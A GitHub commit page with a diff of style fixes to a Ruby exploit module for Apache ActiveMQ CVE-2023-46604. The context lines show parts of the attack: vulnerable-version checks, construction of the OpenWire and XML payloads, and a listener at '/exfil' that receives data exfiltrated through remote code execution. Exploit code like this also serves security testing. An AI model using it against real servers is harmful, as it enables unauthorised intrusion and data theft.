Skip to content

Commit

Permalink
Update CVE-2023-46604.rb
Browse files Browse the repository at this point in the history
Attempt to make rubocop happy.
  • Loading branch information
postmodern authored May 18, 2024
1 parent 80cdc1c commit 07f8b86
Showing 1 changed file with 12 additions and 4 deletions.
16 changes: 12 additions & 4 deletions exploits/activemq/CVE-2023-46604.rb
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ def test

print_info "Detected provider version: #{version}"

version = Gem::Version.new(version)
version = Gem::Version.new(version)
if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) ||
(version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) ||
(version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) ||
Expand Down Expand Up @@ -137,6 +137,7 @@ def build

cursor += 3 + web_url.length
buffer.put_uint32(0, cursor-4)

@payload1 = buffer.to_s[0..cursor-1]

@payload2 = <<~XML
Expand Down Expand Up @@ -173,7 +174,10 @@ def launch
end

post("/exfil") do
exploit.print_info "Received RCE exfiltration:\n" + request.body.read
exploit.print_info "Received RCE exfiltration:"
puts
puts request.body.read

queue.push(:exfil)
""
end
Expand All @@ -195,6 +199,7 @@ def launch

return if queue.pop == :stop # :get
return if queue.pop == :stop # :get

queue.pop # :exfil
end

Expand All @@ -208,12 +213,15 @@ def cleanup
# we're taking the easy way out by not parsing the whole message, just finding the
# `ProviderVersion` property and pulling it out of the message.
#
# @return [String, nil]
#
def pluck_provider_version(message)
print_info "Extracting provider version from OpenWire WIREFORMAT message:"
message.hexdump

property_index = message.index(PROVIDER_VERSION)
return nil if property_index.nil?
unless (property_index = message.index(PROVIDER_VERSION))
return
end

offset = property_index + PROVIDER_VERSION.length
buffer = Support::Binary::Buffer.new(message.byteslice(offset..), endian: :net)
Expand Down

0 comments on commit 07f8b86

Please sign in to comment.